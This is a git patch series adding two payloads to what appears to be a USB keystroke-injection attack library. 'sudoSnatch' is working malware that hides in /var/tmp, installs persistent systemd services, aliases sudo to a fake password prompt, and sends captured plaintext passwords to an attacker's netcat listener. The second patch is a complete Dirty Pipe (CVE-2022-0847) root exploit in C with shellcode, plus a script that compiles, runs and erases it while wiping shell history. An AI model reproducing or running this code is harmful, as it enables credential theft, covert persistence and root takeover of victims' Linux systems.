From 7f3972b88a1c087b6362ff16ceec615766b879ad Mon Sep 17 00:00:00 2001
From: drapl0n <87269662+drapl0n@users.noreply.github.com>
Date: Wed, 23 Mar 2022 02:39:51 +0530
Subject: [PATCH 1/2] uploaded sudoSnatch (#507)

* uploaded sudoSnatch

sudoSnatch payload grabs sudo password in plain text, imediately after victim uses `sudo` command and sends it back to attacker remotely/locally.

* changing payload category

* uploaded sudoSnatch
---
 .../library/credentials/sudoSnatch/README.md  | 48 ++++++++++++++++
 .../library/credentials/sudoSnatch/payload.sh | 23 ++++++++
 .../credentials/sudoSnatch/payload.txt        | 56 +++++++++++++++++++
 payloads/library/credentials/sudoSnatch/shell | 12 ++++
 .../library/credentials/sudoSnatch/systemMgr  |  5 ++
 5 files changed, 144 insertions(+)
 create mode 100644 payloads/library/credentials/sudoSnatch/README.md
 create mode 100644 payloads/library/credentials/sudoSnatch/payload.sh
 create mode 100644 payloads/library/credentials/sudoSnatch/payload.txt
 create mode 100644 payloads/library/credentials/sudoSnatch/shell
 create mode 100644 payloads/library/credentials/sudoSnatch/systemMgr

diff --git a/payloads/library/credentials/sudoSnatch/README.md b/payloads/library/credentials/sudoSnatch/README.md
new file mode 100644
index 00000000..856ab92e
--- /dev/null
+++ b/payloads/library/credentials/sudoSnatch/README.md
@@ -0,0 +1,48 @@
+## About:
+* Title: sudoSnatch
+* Description: sudoSnatch grabs plain text passwords remotely/locally.
+* AUTHOR: drapl0n
+* Version: 1.0
+* Category: Credentials
+* Target: Unix-like operating systems with systemd.
+* Attackmodes: HID, Storage
+
+## sudoSnatch: sudoSnatch payload grabs sudo password in plain text, imediately after victim uses `sudo` command and sends it back to attacker remotely/locally.
+
+### Features:
+* Plain text passwords.
+* Detailed password logs.
+* Persistent
+* Autostart payload on boot.
+
+### Workflow:
+* Injecting payload on target's system.
+* Checks whether internet is connected to the target system. 
+* If internet is connected then it sends clear text passwords to attacker. 
+
+### Changes to be made in payload.sh:
+* Replace ip(0.0.0.0) and port number(4444) with your servers ip address and port number on line no `10`.
+* Increase/Decrease time interval to restart service periodically (Default is 15 mins), on line no `14`.
+
+### LED Status:
+* `SETUP`   : MAGENTA
+* `ATTACK`  : YELLOW
+* `FINISH`  : GREEN
+
+### Directory Structure of payload components:
+| FileName       | Directory                     |
+| -------------- | ----------------------------- |
+| payload.txt    | /payloads/switch1/            |
+| payload.sh     | /payloads/                    |
+| shell          | /payloads/library/sudoSnatch/ |
+| systemMgr      | /payloads/library/sudoSnatch/ |
+
+* Note: Create directory named `sudoSnatch` in `/payloads/library/`
+### Usage:
+1.  Inject payload into target's system.
+2. Start netcat listner on attacking system:
+
+* `nc -l -p <port number>` use this command to fetch passwords.
+
+#### Support me if you like my work:
+* https://twitter.com/drapl0n 
diff --git a/payloads/library/credentials/sudoSnatch/payload.sh b/payloads/library/credentials/sudoSnatch/payload.sh
new file mode 100644
index 00000000..a11c2654
--- /dev/null
+++ b/payloads/library/credentials/sudoSnatch/payload.sh
@@ -0,0 +1,23 @@
+#!/bin/bash
+unset HISTFILE && HISTSIZE=0 && rm -f $HISTFILE && unset HISTFILE
+mkdir /var/tmp/.system
+lol=$(lsblk | grep 1.8G)
+disk=$(echo $lol | awk '{print $1}')
+mntt=$(lsblk | grep $disk | awk '{print $7}')
+cp -r $mntt/payloads/library/sudoSnatch/systemMgr /var/tmp/.system/
+chmod +x /var/tmp/.system/systemMgr
+touch /var/tmp/.system/sysLog
+echo -e "while :\ndo\n\tping -c 5 0.0.0.0\n\tif [ $? -eq 0 ]; then\n\t\tphp -r '\$sock=fsockopen(\"0.0.0.0\",4444);exec("\"cat /var/tmp/.system/sysLog "<&3 >&3 2>&3"\"");'\n\tfi\ndone" >  /var/tmp/.system/systemBus
+chmod +x /var/tmp/.system/systemBus
+mkdir -p ~/.config/systemd/user
+echo -e "[Unit]\nDescription= System BUS handler\n\n[Service]\nExecStart=/bin/bash /var/tmp/.system/systemBus -no-browser\nRestart=on-failure\nSuccessExitStatus=3 4\nRestartForceExitStatus=3 4\n\n[Install]\nWantedBy=multi-user.target" > ~/.config/systemd/user/systemBUS.service
+echo "while true; do systemctl --user restart systemBUS.service; sleep 15m; done" > /var/tmp/.system/reboot
+chmod +x /var/tmp/.system/reboot
+echo -e "[Unit]\nDescription= System BUS handler reboot.\n\n[Service]\nExecStart=/bin/bash /var/tmp/.system/reboot -no-browser\nRestart=on-failure\nSuccessExitStatus=3 4\nRestartForceExitStatus=3 4\n\n[Install]\nWantedBy=multi-user.target" > ~/.config/systemd/user/reboot.service
+systemctl --user daemon-reload
+systemctl --user enable --now systemBUS.service
+systemctl --user start --now systemBUS.service
+systemctl --user enable --now reboot.service
+systemctl --user start --now reboot.service
+cp -r $mntt/payloads/library/sudoSnatch/shell /tmp/
+chmod +x /tmp/shell && /tmp/./shell && rm /tmp/shell
diff --git a/payloads/library/credentials/sudoSnatch/payload.txt b/payloads/library/credentials/sudoSnatch/payload.txt
new file mode 100644
index 00000000..894b67c6
--- /dev/null
+++ b/payloads/library/credentials/sudoSnatch/payload.txt
@@ -0,0 +1,56 @@
+# Title: sudoSnatch
+# Description: sudoSnatch grabs plain text passwords remotely/locally.
+# AUTHOR: drapl0n
+# Version: 1.0
+# Category: Credentials
+# Target: Unix-like operating systems with systemd.
+# Attackmodes: HID, Storage
+
+LED SETUP
+ATTACKMODE STORAGE HID
+GET SWITCH_POSITION
+LED ATTACK
+Q DELAY 1000
+Q CTRL-ALT t
+Q DELAY 1000
+
+# [Prevent storing history]
+Q STRING unset HISTFILE
+Q ENTER
+Q DELAY 200
+
+# [Fetching BashBunny's block device]
+Q STRING lol='$(lsblk | grep 1.8G)'
+Q ENTER
+Q DELAY 100
+Q STRING disk='$(echo $lol | awk '\'{print\ '$1'}\'\)''
+Q ENTER
+Q DELAY 200
+
+# [Mounting BashBunny]
+Q STRING udisksctl mount -b /dev/'$disk' /tmp/tmppp
+Q ENTER
+Q DELAY 1400
+Q STRING mntt='$(lsblk | grep $disk | awk '\'{print\ '$7'}\'\)''
+Q ENTER
+Q DELAY 200
+
+# [transfering payload script]
+Q STRING cp -r '$mntt'/payloads/payload.sh /tmp/
+Q ENTER
+Q STRING chmod +x /tmp/payload.sh
+Q ENTER
+Q STRING /tmp/./payload.sh
+Q ENTER
+Q DELAY 5000
+Q STRING rm /tmp/payload.sh
+Q ENTER
+Q DELAY 500
+
+# [Unmounting BashBunny]
+Q STRING udisksctl unmount -b /dev/'$disk'
+Q ENTER
+Q DELAY 500
+Q STRING exit
+Q ENTER
+LED FINISH
diff --git a/payloads/library/credentials/sudoSnatch/shell b/payloads/library/credentials/sudoSnatch/shell
new file mode 100644
index 00000000..eb95bf5d
--- /dev/null
+++ b/payloads/library/credentials/sudoSnatch/shell
@@ -0,0 +1,12 @@
+#!/bin/bash
+ls -a ~/ | grep 'zshrc' &> /dev/null
+if [ $? = 0 ]; then
+	echo -e "alias sudo='bash /var/tmp/.system/systemMgr && sudo'" >> ~/.zshrc
+        echo "systemctl --user enable --now reboot.service && systemctl --user enable --now systemBUS.service && systemctl --user restart systemBUS.service && systemctl --user restart reboot.service" >> ~/.zshrc
+fi
+
+ls -a ~/ | grep 'bashrc' &> /dev/null
+if [ $? = 0 ]; then
+	echo -e "alias sudo='bash /var/tmp/.system/systemMgr && sudo'" >> ~/.bashrc
+        echo "systemctl --user enable --now reboot.service && systemctl --user enable --now systemBUS.service && systemctl --user restart systemBUS.service && systemctl --user restart reboot.service" >> ~/.bashrc
+fi
diff --git a/payloads/library/credentials/sudoSnatch/systemMgr b/payloads/library/credentials/sudoSnatch/systemMgr
new file mode 100644
index 00000000..36c6b4ea
--- /dev/null
+++ b/payloads/library/credentials/sudoSnatch/systemMgr
@@ -0,0 +1,5 @@
+#!/bin/bash
+echo -n "[sudo] password for $(whoami):"
+IFS="" read -s pass
+echo -e "Timestamp=[$(date)] \t User=[$(whoami)] \t  Password=[$pass]" >> /var/tmp/.system/sysLog
+echo -e "\nSorry, try again."

From b58284adaa8904ad0e6b8e164b14a6960795f4ce Mon Sep 17 00:00:00 2001
From: drapl0n <87269662+drapl0n@users.noreply.github.com>
Date: Wed, 23 Mar 2022 20:42:49 +0530
Subject: [PATCH 2/2] uploaded dirtypipe (#506)

* uploaded dirtypipe

Exploit for a new Linux vulnerability known as 'Dirty Pipe(CVE-2022-0847)' allows local users to gain root privileges.

* exploit

* Create README.md

* fixing typo
---
 .../library/execution/DirtyPipe/README.md     |  24 +++
 .../library/execution/DirtyPipe/dirtypipe.c   | 181 ++++++++++++++++++
 .../library/execution/DirtyPipe/payload.txt   |  82 ++++++++
 3 files changed, 287 insertions(+)
 create mode 100644 payloads/library/execution/DirtyPipe/README.md
 create mode 100644 payloads/library/execution/DirtyPipe/dirtypipe.c
 create mode 100644 payloads/library/execution/DirtyPipe/payload.txt

diff --git a/payloads/library/execution/DirtyPipe/README.md b/payloads/library/execution/DirtyPipe/README.md
new file mode 100644
index 00000000..c115edfb
--- /dev/null
+++ b/payloads/library/execution/DirtyPipe/README.md
@@ -0,0 +1,24 @@
+## About:
+* Title: DirtyPipe
+* Description: Exploit for a new Linux vulnerability known as 'Dirty Pipe(CVE-2022-0847)' allows local users to gain root privileges.
+* AUTHOR: drapl0n
+* Version: 1.0
+* Category: Execution
+* Target: Linux operating systems.
+* Attackmodes: HID, Storage
+
+## DirtyPipe: Exploit for a new Linux vulnerability known as 'Dirty Pipe(CVE-2022-0847)' allows local users to gain root privileges. The vulnerability is tracked as CVE-2022-0847 and allows a non-privileged user to inject and overwrite data in read-only files, including SUID processes that run as root.
+
+### Directory Structure of payload components:
+| FileName       | Directory                     |
+| -------------- | ----------------------------- |
+| payload.txt    | /payloads/                    |
+| dirtypipe.c    | /payloads/library/            |
+
+### LED Status:
+* `SETUP`   : MAGENTA
+* `ATTACK`  : YELLOW
+* `FINISH`  : GREEN
+
+#### Support me if you like my work:
+* https://twitter.com/drapl0n 
diff --git a/payloads/library/execution/DirtyPipe/dirtypipe.c b/payloads/library/execution/DirtyPipe/dirtypipe.c
new file mode 100644
index 00000000..cd6295d6
--- /dev/null
+++ b/payloads/library/execution/DirtyPipe/dirtypipe.c
@@ -0,0 +1,181 @@
+#define _GNU_SOURCE
+#include <unistd.h>
+#include <fcntl.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <sys/stat.h>
+#include <sys/user.h>
+#include <stdint.h>
+
+#ifndef PAGE_SIZE
+#define PAGE_SIZE 4096
+#endif
+
+// small (linux x86_64) ELF file matroshka doll that does;
+//   fd = open("/tmp/sh", O_WRONLY | O_CREAT | O_TRUNC);
+//   write(fd, elfcode, elfcode_len)
+//   chmod("/tmp/sh", 04755)
+//   close(fd);
+//   exit(0);
+//
+// the dropped ELF simply does:
+//   setuid(0);
+//   setgid(0);
+//   execve("/bin/sh", ["/bin/sh", NULL], [NULL]);
+unsigned char elfcode[] = {
+	/*0x7f,*/ 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
+	0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
+	0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00,
+	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00,
+	0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00,
+	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00,
+	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
+	0x97, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x97, 0x01, 0x00, 0x00,
+	0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	0x48, 0x8d, 0x3d, 0x56, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc6, 0x41, 0x02,
+	0x00, 0x00, 0x48, 0xc7, 0xc0, 0x02, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48,
+	0x89, 0xc7, 0x48, 0x8d, 0x35, 0x44, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc2,
+	0xba, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc0, 0x01, 0x00, 0x00, 0x00, 0x0f,
+	0x05, 0x48, 0xc7, 0xc0, 0x03, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x8d,
+	0x3d, 0x1c, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc6, 0xed, 0x09, 0x00, 0x00,
+	0x48, 0xc7, 0xc0, 0x5a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x31, 0xff,
+	0x48, 0xc7, 0xc0, 0x3c, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x2f, 0x74, 0x6d,
+	0x70, 0x2f, 0x73, 0x68, 0x00, 0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01,
+	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e,
+	0x00, 0x01, 0x00, 0x00, 0x00, 0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00,
+	0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38,
+	0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00,
+	0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40,
+	0x00, 0x00, 0x00, 0x00, 0x00, 0xba, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	0x00, 0xba, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00,
+	0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x31, 0xff, 0x48, 0xc7, 0xc0, 0x69,
+	0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x31, 0xff, 0x48, 0xc7, 0xc0, 0x6a,
+	0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x8d, 0x3d, 0x1b, 0x00, 0x00, 0x00,
+	0x6a, 0x00, 0x48, 0x89, 0xe2, 0x57, 0x48, 0x89, 0xe6, 0x48, 0xc7, 0xc0,
+	0x3b, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0xc7, 0xc0, 0x3c, 0x00, 0x00,
+	0x00, 0x0f, 0x05, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00
+};
+
+/**
+ * Create a pipe where all "bufs" on the pipe_inode_info ring have the
+ * PIPE_BUF_FLAG_CAN_MERGE flag set.
+ */
+static void prepare_pipe(int p[2])
+{
+	if (pipe(p)) abort();
+
+	const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
+	static char buffer[4096];
+
+	/* fill the pipe completely; each pipe_buffer will now have
+	   the PIPE_BUF_FLAG_CAN_MERGE flag */
+	for (unsigned r = pipe_size; r > 0;) {
+		unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
+		write(p[1], buffer, n);
+		r -= n;
+	}
+
+	/* drain the pipe, freeing all pipe_buffer instances (but
+	   leaving the flags initialized) */
+	for (unsigned r = pipe_size; r > 0;) {
+		unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
+		read(p[0], buffer, n);
+		r -= n;
+	}
+
+	/* the pipe is now empty, and if somebody adds a new
+	   pipe_buffer without initializing its "flags", the buffer
+	   will be mergeable */
+}
+
+int hax(char *filename, long offset, uint8_t *data, size_t len) {
+	/* open the input file and validate the specified offset */
+	const int fd = open(filename, O_RDONLY); // yes, read-only! :-)
+	if (fd < 0) {
+		perror("open failed");
+		return -1;
+	}
+
+	struct stat st;
+	if (fstat(fd, &st)) {
+		perror("stat failed");
+		return -1;
+	}
+
+	/* create the pipe with all flags initialized with
+	   PIPE_BUF_FLAG_CAN_MERGE */
+	int p[2];
+	prepare_pipe(p);
+
+	/* splice one byte from before the specified offset into the
+	   pipe; this will add a reference to the page cache, but
+	   since copy_page_to_iter_pipe() does not initialize the
+	   "flags", PIPE_BUF_FLAG_CAN_MERGE is still set */
+	--offset;
+	ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
+	if (nbytes < 0) {
+		perror("splice failed");
+		return -1;
+	}
+	if (nbytes == 0) {
+		fprintf(stderr, "short splice\n");
+		return -1;
+	}
+
+	/* the following write will not create a new pipe_buffer, but
+	   will instead write into the page cache, because of the
+	   PIPE_BUF_FLAG_CAN_MERGE flag */
+	nbytes = write(p[1], data, len);
+	if (nbytes < 0) {
+		perror("write failed");
+		return -1;
+	}
+	if ((size_t)nbytes < len) {
+		fprintf(stderr, "short write\n");
+		return -1;
+	}
+
+	close(fd);
+
+	return 0;
+}
+
+int main(int argc, char **argv) {
+	if (argc != 2) {
+		fprintf(stderr, "Usage: %s SUID\n", argv[0]);
+		return EXIT_FAILURE;
+	}
+
+	char *path = argv[1];
+	uint8_t *data = elfcode;
+
+	int fd = open(path, O_RDONLY);
+	uint8_t *orig_bytes = malloc(sizeof(elfcode));
+	lseek(fd, 1, SEEK_SET);
+	read(fd, orig_bytes, sizeof(elfcode));
+	close(fd);
+
+	printf("[+] hijacking suid binary..\n");
+	if (hax(path, 1, elfcode, sizeof(elfcode)) != 0) {
+		printf("[~] failed\n");
+		return EXIT_FAILURE;
+	}
+
+	printf("[+] dropping suid shell..\n");
+	system(path);
+
+	printf("[+] restoring suid binary..\n");
+	if (hax(path, 1, orig_bytes, sizeof(elfcode)) != 0) {
+		printf("[~] failed\n");
+		return EXIT_FAILURE;
+	}
+
+	printf("[+] popping root shell.. (dont forget to clean up /tmp/sh ;))\n");
+	system("/tmp/sh");
+
+	return EXIT_SUCCESS;
+}
diff --git a/payloads/library/execution/DirtyPipe/payload.txt b/payloads/library/execution/DirtyPipe/payload.txt
new file mode 100644
index 00000000..e432e46e
--- /dev/null
+++ b/payloads/library/execution/DirtyPipe/payload.txt
@@ -0,0 +1,82 @@
+# Title: DirtyPipe
+# Description: Exploit for a new Linux vulnerability known as 'Dirty Pipe(CVE-2022-0847)' allows local users to gain root privileges.
+# AUTHOR: drapl0n
+# Version: 1.0
+# Category: Execution
+# Target: Linux operating systems.
+# Attackmodes: HID, Storage
+
+LED SETUP
+ATTACKMODE STORAGE HID
+GET SWITCH_POSITION
+LED ATTACK
+Q DELAY 1000
+Q CTRL-ALT t
+Q DELAY 1000
+
+# [Prevent storing history]
+Q STRING unset HISTFILE
+Q ENTER
+Q DELAY 100
+Q STRING HISTSIZE=0
+Q ENTER
+Q DELAY 100
+Q STRING rm -f '$HISTFILE'
+Q ENTER
+Q DELAY 100
+
+# [Fetching BashBunny's block device]
+Q STRING lol='$(lsblk | grep 1.8G)'
+Q ENTER
+Q DELAY 100
+Q STRING disk='$(echo $lol | awk '\'{print\ '$1'}\'\)''
+Q ENTER
+Q DELAY 200
+
+# [Mounting BashBunny]
+Q STRING udisksctl mount -b /dev/'$disk' /tmp/tmppp
+Q ENTER
+Q DELAY 2000
+Q STRING mntt='$(lsblk | grep $disk | awk '\'{print\ '$7'}\'\)''
+Q ENTER
+Q DELAY 500
+
+# [transfering and executing exploit]
+Q STRING cp -r '$mntt'/payloads/library/dirtypipe.c /tmp/
+Q ENTER
+Q DELAY 100
+Q STRING gcc /tmp/dirtypipe.c -o /tmp/dirtypipe
+Q ENTER
+Q DELAY 1000
+Q STRING chmod +x /tmp/dirtypipe
+Q ENTER
+Q STRING /tmp/./dirtypipe /bin/bash
+Q ENTER
+Q DELAY 500
+Q STRING sudo su
+Q ENTER
+Q CTRL-ALT t
+Q DELAY 500
+Q STRING rm /tmp/dirtypipe
+Q ENTER
+Q DELAY 100
+Q STRING rm /tmp/dirtypipe.c
+Q ENTER
+Q DELAY 200
+
+# [Unmounting BashBunny]
+Q STRING unset HISTFILE
+Q ENTER
+Q DELAY 100
+Q STRING lol='$(lsblk | grep 1.8G)'
+Q ENTER
+Q DELAY 100
+Q STRING disk='$(echo $lol | awk '\'{print\ '$1'}\'\)''
+Q ENTER
+Q DELAY 100
+Q STRING udisksctl unmount -b /dev/'$disk' 
+Q ENTER
+Q DELAY 500
+Q STRING exit
+Q ENTER 
+LED FINISH